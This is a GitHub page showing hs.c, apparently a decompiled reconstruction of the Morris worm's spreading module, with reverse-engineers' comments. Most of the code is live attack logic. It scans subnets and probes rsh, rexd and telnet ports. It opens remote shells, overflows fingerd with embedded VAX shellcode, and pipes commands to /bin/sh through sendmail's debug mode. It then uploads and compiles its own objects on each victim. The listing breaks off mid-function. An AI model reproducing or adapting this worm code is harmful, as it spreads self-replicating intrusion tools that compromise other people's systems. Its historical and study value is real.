-
Notifications
You must be signed in to change notification settings - Fork 164
/
hs.c
1367 lines (1195 loc) · 31.5 KB
/
hs.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/* dover */
#include "worm.h"
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <errno.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
extern struct hst *h_addr2host(), *h_name2host();
extern int justreturn();
extern int errno;
extern char *malloc();
int alarmed = 0;
int ngateways, *gateways;
struct hst *me, *hosts;
int nifs;
struct ifses ifs[30]; /* Arbitrary number, fix */
/* Clean hosts not contacted from the host list. */
h_clean() /* 0x31f0 */
{
struct hst *newhosts, *host, *next;
newhosts = NULL;
for (host = hosts; host != NULL; host = next) {
next = host->next;
host->flag &= -7;
if (host == me || host->flag != 0) {
host->next = newhosts;
newhosts = host;
} else
free(host);
}
hosts = newhosts;
}
/* Look for a gateway we can contact. */
hg() /* 0x3270, check again */
{
struct hst *host;
int i;
rt_init();
for (i = 0; i < ngateways; i++) { /* 24, 92 */
host = h_addr2host(gateways[i], 1);
if (try_rsh_and_mail(host))
return 1;
}
return 0;
}
ha() /* 0x32d4, unchecked */
{
struct hst *host;
int i, j, k;
int l416[100];
int l420;
if (ngateways < 1)
rt_init();
j = 0;
for (i = 0; i < ngateways; i++) { /* 40, 172 */
host = h_addr2host(gateways[i], 1);
for (k = 0; k < 6; k++) { /* 86, 164 */
if (host->o48[k] == 0)
continue; /* 158 */
if (try_telnet_p(host->o48[k]) == 0)
continue;
l416[j] = host->o48[k];
j++;
}
}
permute(l416, j, sizeof(l416[0]));
for (i = 0; i < j; i++) { /* 198, 260 */
if (hi_84(l416[i] & netmaskfor(l416[i])))
return 1;
}
return 0;
}
hl() /* 0x33e6 */
{
int i;
for (i = 0; i < 6; i++) { /* 18, 106 */
if (me->o48[i] == 0)
break;
if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
return 1;
}
return 0;
}
hi() /* 0x3458 */
{
struct hst *host;
for (host = hosts; host; host = host->next )
if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
return 1;
return 0;
}
hi_84(arg1) /* 0x34ac */
{
int l4;
struct hst *host;
int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
int netaddrs[2048];
l12 = netmaskfor(arg1);
l16 = ~l12;
for (i = 0; i < nifs; i++) { /* 128,206 */
if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
return 0; /* 624 */
}
adr_index = 0;
if (l16 == 0x0000ffff) { /* 330 */
l44 = 4;
for (l40 = 1; l40 < 255; l40++) /* 236,306 */
for (l20 = 1; l20 <= 8; l20++) /* 254,300 */
netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
permute(netaddrs, adr_index, sizeof(netaddrs[0]));
} else { /* 432 */
l44 = 4;
for (l20 = 1; l20 < 255; l20++)
netaddrs[adr_index++] = (arg1 | l20);
permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
permute(netaddrs, adr_index - 6, 4);
}
if (adr_index > 20)
adr_index = 20;
for (l36 = 0; l36 < adr_index; l36++) { /* 454,620 */
l4 = netaddrs[l36];
host = h_addr2host(l4, 0);
if (host == NULL || (host->flag & 0x02) == 0)
continue;
if (host == NULL || (host->flag & 0x04) == 0 ||
command_port_p(l4, l44) == 0)
continue;
if (host == NULL)
host = h_addr2host(l4, 1);
if (try_rsh_and_mail(host))
return 1;
}
return 0;
}
/* Only called in the function above */
static command_port_p(addr, time) /* x36d2, <hi+634> */
u_long addr;
int time;
{
int s, connection; /* 28 */
struct sockaddr_in sin; /* 16 bytes */
int (*save_sighand)();
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
return 0;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_CMDSERVER; /* Oh no, not the command serve
r... */
save_sighand = signal(SIGALRM, justreturn); /* Wakeup if it
fails */
/* Set up a timeout to break from connect if it fails */
if (time < 1)
time = 1;
alarm(time);
connection = connect(s, &sin, sizeof(sin));
alarm(0);
close(s);
if (connection < 0 && errno == ENETUNREACH)
error("Network unreachable");
return connection != -1;
}
static try_telnet_p(addr) /* x37b2 <hi+858>, checked */
u_long addr;
{
int s, connection; /* 28 */
struct sockaddr_in sin; /* 16 bytes */
int (*save_sighand)();
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
return 0;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = addr;
sin.sin_port = IPPORT_TELNET; /* This time try telnet... */
/* Set up a 5 second timeout, break from connect if it fails */
save_sighand = signal(SIGALRM, justreturn);
alarm(5);
connection = connect(s, &sin, sizeof(sin));
if (connection < 0 && errno == ECONNREFUSED) /* Telnet connection refuse
d */
connection = 0;
alarm(0); /* Turn off timeout */
close(s);
return connection != -1;
}
/* Used in hg(), hi(), and hi_84(). */
static try_rsh_and_mail(host) /* x3884, <hi+1068> */
struct hst *host;
{
int fd1, fd2, result;
if (host == me)
return 0; /* 1476 */
if (host->flag & 0x02)
return 0;
if (host->flag & 0x04)
return 0;
if (host->o48[0] == 0 || host->hostname == NULL)
getaddrs(host);
if (host->o48[0] == 0) {
host->flag |= 0x04;
return 0;
}
other_sleep(1);
if (host->hostname && /* 1352 */
fork_rsh(host->hostname, &fd1, &fd2,
XS("exec /bin/sh"))) { /* <env+188> */
result = talk_to_sh(host, fd1, fd2);
close(fd1);
close(fd2);
/* Prevent child from hanging around in the <exiting> state */
wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
if (result != 0)
return result;
}
if (try_finger(host, &fd1, &fd2)) { /* 1440 */
result = talk_to_sh(host, fd1, fd2);
close(fd1);
close(fd2);
if (result != 0)
return result;
}
if (try_mail(host))
return 1;
host->flag |= 4;
return 0;
}
/* Check a2in() as it is updated */
/* Used in twice in try_rsh_and_mail(), once in hu1(). */
static talk_to_sh(host, fdrd, fdwr) /* x3a20, Checked, changed <hi+
>*/
struct hst *host;
int fdrd, fdwr;
{
object *objectptr;
char send_buf[512]; /* l516 */
char print_buf[52]; /* l568 */
int l572, l576, l580, l584, l588, l592;
objectptr = getobjectbyname(XS("l1.c")); /* env 200c9 */
if (objectptr == NULL)
return 0; /* <hi+2128> */
if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
return 0;
send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
send_text(fdwr, XS("cd /usr/tmp\n"));
l576 = random() % 0x00FFFFFF;
sprintf(print_buf, XS("x%d.c"), l576);
/* The 'sed' script just puts the EOF on the transmitted program. */
sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"
),
print_buf);
send_text(fdwr, send_buf);
wait_for(fdrd, XS("gorch49"), 10);
xorbuf(objectptr->buf, objectptr->size);
l572 = write(fdwr, objectptr->buf, objectptr->size);
xorbuf(objectptr->buf, objectptr->size);
if (l572 != objectptr->size) {
close(l588);
return 0; /* to <hi+2128> */
}
send_text(fdwr, XS("int zz;\n\n"));
wait_for(fdrd, XS("gorch50"), 30);
#define COMPILE "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
sprintf(send_buf, XS(COMPILE), l576, l576, l576,
inet_ntoa(a2in(l592)), l580, l584, l576, l576);
send_text(fdwr, send_buf);
if (wait_for(fdrd, XS("DONE"), 100) == 0) {
close(l588);
return 0; /* <hi+2128> */
}
return waithit(host, l592, l580, l584, l588);
}
makemagic(arg8, arg12, arg16, arg20, arg24) /* checked */
struct hst *arg8;
int *arg12, *arg16, *arg20, *arg24;
{
int s, i, namelen;
struct sockaddr_in sin0, sin1; /* 16 bytes */
*arg20 = random() & 0x00ffffff;
bzero(&sin1, sizeof(sin1));
sin1.sin_addr.s_addr = me->l12;
for (i= 0; i < 6; i++) { /* 64, 274 */
if (arg8->o48[i] == NULL)
continue; /* 266 */
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
return 0; /* 470 */
bzero(&sin0, sizeof(sin0));
sin0.sin_family = AF_INET;
sin0.sin_port = IPPORT_TELNET;
sin0.sin_addr.s_addr = arg8->o48[i];
errno = 0;
if (connect(s, &sin0, sizeof(sin0)) != -1) {
namelen = sizeof(sin1);
getsockname(s, &sin1, &namelen);
close(s);
break;
}
close(s);
}
*arg12 = sin1.sin_addr.s_addr;
for (i = 0; i < 1024; i++) { /* 286,466 */
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
return 0; /* 470 */
bzero(&sin0, sizeof(sin0));
sin0.sin_family = AF_INET;
sin0.sin_port = random() % 0xffff;
if (bind(s, &sin0, sizeof(sin0)) != -1) {
listen(s, 10);
*arg16 = sin0.sin_port;
*arg24 = s;
return 1;
}
close(s);
}
return 0;
}
/* Check for somebody connecting. If there is a connection and he has the rig
ht
* key, send out the
* a complete set of encoded objects to it. */
waithit(host, arg1, arg2, key, arg4) /* 0x3e86 */
struct hst *host;
{
int (*save_sighand)();
int l8, sin_size, l16, i, l24, l28;
struct sockaddr_in sin; /* 44 */
object *obj;
char files[20][128]; /* File list, 2608 */
char *l2612;
char strbuf[512];
save_sighand = signal(SIGPIPE, justreturn);
sin_size = sizeof(sin);
alarm(2*60);
l8 = accept(arg4, &sin, &sin_size);
alarm(0);
if (l8 < 0)
goto quit; /* 1144 */
if (xread(l8, &l16, sizeof(l16), 10) != 4)
goto quit;
l16 = ntohl(l16);
if (key != l16)
goto quit;
for (i = 0; i < nobjects; i++) { /* 164,432 */
obj = &objects[i];
l16 = htonl(obj->size);
write(l8, &l16, sizeof(l16));
sprintf(files[i], XS("x%d,%s"),
(random()&0x00ffffff), obj->name);
write(l8, files[i], sizeof(files[0]));
xorbuf(obj->buf, obj->size);
l24 = write(l8, obj->buf, obj->size);
xorbuf(obj->buf, obj->size);
if (l24 != obj->size)
goto quit;
}
/* Get rid of my client's key, and tell him the list has ended. */
l16 = -1;
if (write(l8, &l16, sizeof(l16)) != 4)
goto quit;
/* Don't run up the load average too much... */
sleep(4);
if (test_connection(l8, l8, 30) == 0)
goto quit;
send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
send_text(l8, XS("rm -f sh\n"));
sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
random()&0x00ffffff);
send_text(l8, strbuf);
for (i = 0; i < nobjects; i++) { /* 636,1040 */
if ((l2612 = index(files[i], '.')) == NULL ||
l2612[1] != 'o')
continue;
sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
send_text(l8, strbuf);
if (test_connection(l8, l8, 30) == 0)
goto quit; /* 1144 */
sprintf(strbuf, XS("./$P -p $$ "));
for(l28 = 0; l28 < nobjects; l28++) { /* 820,892 */
strcat(strbuf, files[l28]);
strcat(strbuf, XS(" "));
}
strcat(strbuf, XS("\n"));
send_text(l8, strbuf);
if (test_connection(l8, l8, 10) == 0) {
close(l8);
close(arg4);
host->flag |= 2;
return 1; /* 1172 */
}
send_text(l8, XS("rm -f $P\n"));
}
for (i = 0; i < nobjects; i++) { /* 1044,1122 */
sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
send_text(l8, strbuf);
}
test_connection(l8, l8, 5);
quit:
close(l8);
close(l24);
return 0;
}
/* Only called from within mail */
static compile_slave(host, s, arg16, arg20, arg24) /* x431e, <waithit+1176> */
struct hst host;
{
object *obj;
char buf[512]; /* 516 */
char cfile[56]; /* 568 */
int wr_len, key; /* might be same */
obj = getobjectbyname(XS("l1.c"));
if (obj == NULL)
return 0; /* 1590 */
send_text(s, XS("cd /usr/tmp\n"));
key = (random() % 0x00ffffff);
sprintf(cfile, XS("x%d.c"), key);
sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
send_text(s, buf);
xorbuf(obj->buf, obj->size);
wr_len = write(s, obj->buf, obj->size);
xorbuf(obj->buf, obj->size);
if (wr_len != obj->size)
return 0;
send_text(s, XS("EOF\n"));
sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
key, key, key,
inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
return send_text(s, buf);
}
static send_text(fd, str) /* 0x44c0, <waithit+1594> */
char *str;
{
write(fd, str, strlen(str));
}
/* Used in try_rsh_and_mail(). */
static fork_rsh(host, fdp1, fdp2, str) /* 0x44f4, <waithit+1646> */
char *host;
int *fdp1, *fdp2;
char *str;
{
int child; /* 4 */
int fildes[2]; /* 12 */
int fildes1[2]; /* 20 */
int fd;
if (pipe(fildes) < 0)
return 0;
if (pipe(fildes1) < 0) {
close(fildes[0]);
close(fildes[1]);
return 0;
}
child = fork();
if (child < 0) { /* 1798 */
close(fildes[0]);
close(fildes[1]);
close(fildes1[0]);
close(fildes1[1]);
return 0;
}
if (child == 0) { /* 2118 */
for (fd = 0; fd < 32; fd++)
if (fd != fildes[0] &&
fd != fildes1[1] &&
fd != 2)
close(fd);
dup2(fildes[0], 0);
dup2(fildes[1], 1);
if (fildes[0] > 2)
close(fildes[0]);
if (fildes1[1] > 2)
close(fildes1[1]);
/* 'execl()' does not return if it suceeds. */
execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
exit(1);
}
close(fildes[0]);
close(fildes1[1]);
*fdp1 = fildes1[0];
*fdp2 = fildes[1];
if (test_connection(*fdp1, *fdp2, 30))
return 1; /* Sucess!!! */
close(*fdp1);
close(*fdp2);
kill(child, 9);
/* Give the child a chance to die from the signal. */
sleep(1);
wait3(0, WNOHANG, 0);
return 0;
}
static test_connection(rdfd, wrfd, time) /* x476c,<waith
it+2278> */
int rdfd, wrfd, time;
{
char combuf[100], numbuf[100];
sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
send_text(wrfd, combuf);
return wait_for(rdfd, numbuf, time);
}
static wait_for(fd, str, time) /* <waithit+2412> */
int fd, time;
char *str;
{
char buf[512];
int i, length;
length = strlen(str);
while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
for(i = 0; buf[i]; i++) {
if (strncmp(str, &buf[i], length) == 0)
return 1;
}
}
return 0;
}
/* Installed as a signal handler */
justreturn(sig, code, scp) /* 0x4872 */
int sig, code;
struct sigcontext *scp;
{
alarmed = 1;
}
static x488e(fd, buf, num_chars, maxtime)
int fd, num_chars, maxtime;
char *buf;
{
int i, l8, readfds;
struct timeval timeout;
for (i = 0; i < num_chars; i++) { /* 46,192 */
readfds = 1 << fd;
timeout.tv_usec = maxtime;
timeout.tv_sec = 0;
if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
return 0;
if (readfds == 0)
return 0;
if (read(fd, &buf[i], 1) != 1)
return 0;
if (buf[i] == '\n')
break;
}
buf[i] = '\0';
if (i > 0 && l8 > 0)
return 1;
return 0;
}
/* This doesn't appear to be used anywhere??? */
static char *movstr(arg0, arg1) /* 0x4958,<just_return+
230> */
char *arg0, *arg1;
{
arg1[0] = '\0';
if (arg0 == 0)
return 0;
while( ! isspace(*arg0))
arg0++;
if (*arg0 == '\0')
return 0;
while(*arg0) {
if (isspace(*arg0)) break;
*arg1++ = *arg0++;
}
*arg1 = '\0';
return arg0;
}
/*
From Gene Spafford <spaf@perdue.edu>
What this routine does is actually kind of clever. Keep in
mind that on a Vax the stack grows downwards.
fingerd gets its input via a call to gets, with an argument
of an automatic variable on the stack. Since gets doesn't
have a bound on its input, it is possible to overflow the
buffer without an error message. Normally, when that happens
you trash the return stack frame. However, if you know
where everything is on the stack (as is the case with a
distributed binary like BSD), you can put selected values
back in the return stack frame.
This is what that routine does. It overwrites the return frame
to point into the buffer that just got trashed. The new code
does a chmk (change-mode-to-kernel) with the service call for
execl and an argument of "/bin/sh". Thus, fingerd gets a
service request, forks a child process, tries to get a user name
and has its buffer trashed, does a return, exec's a shell,
and then proceeds to take input off the socket -- from the
worm on the other machine. Since many sites never bother to
fix fingerd to run as something other than root.....
Luckily, the code doesn't work on Suns -- it just causes it
to dump core.
--spaf
*/
/* This routine exploits a fixed 512 byte input buffer in a VAX running
* the BSD 4.3 fingerd binary. It send 536 bytes (plus a newline) to
* overwrite six extra words in the stack frame, including the return
* PC, to point into the middle of the string sent over. The instructions
* in the string do the direct system call version of execve("/bin/sh"). */
static try_finger(host, fd1, fd2) /* 0x49ec,<just_return+378 */
struct hst *host;
int *fd1, *fd2;
{
int i, j, l12, l16, s;
struct sockaddr_in sin; /* 36 */
char unused[492];
int l552, l556, l560, l564, l568;
char buf[536]; /* 1084 */
int (*save_sighand)(); /* 1088 */
save_sighand = signal(SIGALRM, justreturn);
for (i = 0; i < 6; i++) { /* 416,608 */
if (host->o48[i] == 0)
continue; /* 600 */
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
continue;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = host->o48[i];
sin.sin_port = IPPORT_FINGER;
alarm(10);
if (connect(s, &sin, sizeof(sin)) < 0) {
alarm(0);
close(s);
continue;
}
alarm(0);
break;
}
if (i >= 6)
return 0; /* 978 */
for(i = 0; i < 536; i++) /* 628,654 */
buf[i] = '\0';
for(i = 0; i < 400; i++)
buf[i] = 1;
for(j = 0; j < 28; j++)
buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];
/* constant string x200a0 */
/* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
/* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */
l556 = 0x7fffe9fc; /* Rewrite part of the stack frame */
l560 = 0x7fffe8a8;
l564 = 0x7fffe8bc;
l568 = 0x28000000;
l552 = 0x0001c020;
#ifdef sun
l556 = byte_swap(l556); /* Reverse the word order for the */
l560 = byte_swap(l560); /* VAX (only Suns have to do this) */
l564 = byte_swap(l564);
l568 = byte_swap(l568);
l552 = byte_swap(l552);
#endif sun
write(s, buf, sizeof(buf)); /* sizeof == 536 */
write(s, XS("\n"), 1);
sleep(5);
if (test_connection(s, s, 10)) {
*fd1 = s;
*fd2 = s;
return 1;
}
close(s);
return 0;
}
static byte_swap(arg) /* 0x4c48,<just_return+982 */
int arg;
{
int i, j;
i = 0;
j = 0;
while (j < 4) {
i = i << 8;
i |= (arg & 0xff);
arg = arg >> 8;
j++;
}
return i;
}
permute(ptr, num, size) /* 0x4c9a */
char *ptr;
int num, size;
{
int i, newloc;
char buf[512];
for (i = 0; i < num*size; i+=size) { /* 18,158 */
newloc = size * (random() % num);
bcopy(ptr+i, buf, size);
bcopy(ptr+newloc, ptr+i, size);
bcopy(buf, ptr+newloc, size);
}
}
/* Called from try_rsh_and_mail() */
static try_mail(host) /* x4d3c <permute+162>*/
struct hst *host;
{
int i, l8, l12, l16, s;
struct sockaddr_in sin; /* 16 bytes */
char l548[512];
int (*old_handler)();
struct sockaddr saddr; /* Not right */
int fd_tmp; /* ??? part of saddr *
/
if (makemagic(host, &saddr) == 0)
return 0; /* <permute+1054> */
old_handler = signal(SIGALRM, justreturn);
for( i = 0; i < 6; i++) { /* to 430 */
if (host->o48[i] == NULL)
continue; /* to 422 */
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
continue; /* to 422 */
bzero(&sin, sizeof(sin)); /* 16 */
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = host->o48[i];
sin.sin_port = IPPORT_SMTP;
alarm(10);
if (connect(s, &sin, sizeof(sin)) < 0) {
alarm(0);
close(s);
continue; /* to 422 */
}
alarm(0);
break;
}
if (i < 6)
return 0; /* 1054 */
if (x50bc( s, l548) != 0 || l548[0] != '2')
goto bad;
send_text(s, XS("debug")); /* "debug" */
if (x50bc( s, l548) != 0 || l548[0] != '2')
goto bad;
#define MAIL_FROM "mail from:</dev/null>\n"
#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
send_text(s, XS(MAIL_FROM));
if (x50bc( s, l548) != 0 || l548[0] != '2')
goto bad;
i = (random() & 0x00FFFFFF);
sprintf(l548, XS(MAIL_RCPT), i, i);
send_text(s, l548);
if (x50bc( s, l548) != 0 || l548[0] != '2')
goto bad;
send_text(s, XS("data\n"));
if (x50bc( s, l548) == 0 || l548[0] != '3')
goto bad;
send_text(s, XS("data\n"));
compile_slave(host, s, saddr);
send_text(s, XS("\n.\n"));
if (x50bc( s, l548) == 0 || l548[0] != '2') {
close(fd_tmp); /* This isn't set yet!!! */
goto bad;
}
send_text(s, XS("quit\n"));
if (x50bc( s, l548) == 0 || l548[0] != '2') {
close(fd_tmp); /* This isn't set yet!!! */
goto bad;
}
close(s);
return waithit(host, saddr);
bad:
send_text(s, XS("quit\n"));
x50bc(s, l548);
close(s);
return 0;
}
/* Used only in try_mail() above. This fills buffer with a line of the respon
se */
static x50bc(s, buffer) /* x50bc, <permute+1058
> */
int s; /* socket */
char *buffer;
{
/* Fill in exact code later. It's pretty boring. */
}
/* I call this "huristic 1". It tries to breakin using the remote execution
* service. It is called from a subroutine of cracksome_1 with information fr
om
* a user's .forword file. The two name are the original username and the one
* in the .forward file.
*/
hu1(alt_username, host, username2) /* x5178 */
char *alt_username, *username2;
struct hst *host;
{
char username[256];
char buffer2[512];
char local[8];
int result, i, fd_for_sh; /* 780, 784, 788 */
if (host == me)
return 0; /* 530 */
if (host->flag & HST_HOSTTWO) /* Already tried ??? */
return 0;
if (host->o48[0] || host->hostname == NULL)
getaddrs(host);
if (host->o48[0] == 0) {
host->flag |= HST_HOSTFOUR;
return 0;
}
strncpy(username, username2, sizeof(username)-1);
username[sizeof(username)-1] = '\0';
if (username[0] == '\0')
strcpy(username, alt_username);
for (i = 0; username[i]; i++)
if (ispunct(username[i]) || username[i] < ' ')
return 0;
other_sleep(1);
fd_for_sh = x538e(host, username, &alt_username[30]);
if (fd_for_sh >= 0) {
result = talk_to_sh(host, fd_for_sh, fd_for_sh);
close(fd_for_sh);
return result;
}
if (fd_for_sh == -2)
return 0;
fd_for_sh = x538e(me, alt_username, &alt_username[30]);
if (fd_for_sh >= 0) {
sprintf(buffer2, XS("exec /usr/ucb/rsh %s -l %s \'exec /bin/sh\'\n"),
host->hostname, username);
send_text(fd_for_sh, buffer2);
sleep(10);
result = 0;
if (test_connection(fd_for_sh, fd_for_sh, 25)) /* 508 */
result = talk_to_sh(host, fd_for_sh, fd_for_sh);
close(fd_for_sh);
return result;
}
return 0;
}
/* Used in hu1. Returns a file descriptor. */
/* It goes through the six connections in host trying to connect to the
* remote execution server on each one.
*/
static int x538e(host, name1, name2)
struct hst *host;
char *name1, *name2;
{
int s, i;
struct sockaddr_in sin; /* 16 bytes */
int l6, l7;
char in_buf[512];
for (i = 0; i < 6; i++) { /* 552,762 */
if (host->o48[i] == 0)
continue; /* 754 */
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
continue;
bzero(&sin, sizeof(sin)); /* 16 */
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = host->o48[i];
sin.sin_port = IPPORT_EXECSERVER; /* Oh shit, looking for rexd */
alarm(8);
signal(SIGALRM, justreturn);
if (connect(s, &sin, sizeof(sin)) < 0) {
alarm(0);
close(s);
continue;
}
alarm(0);
break;
}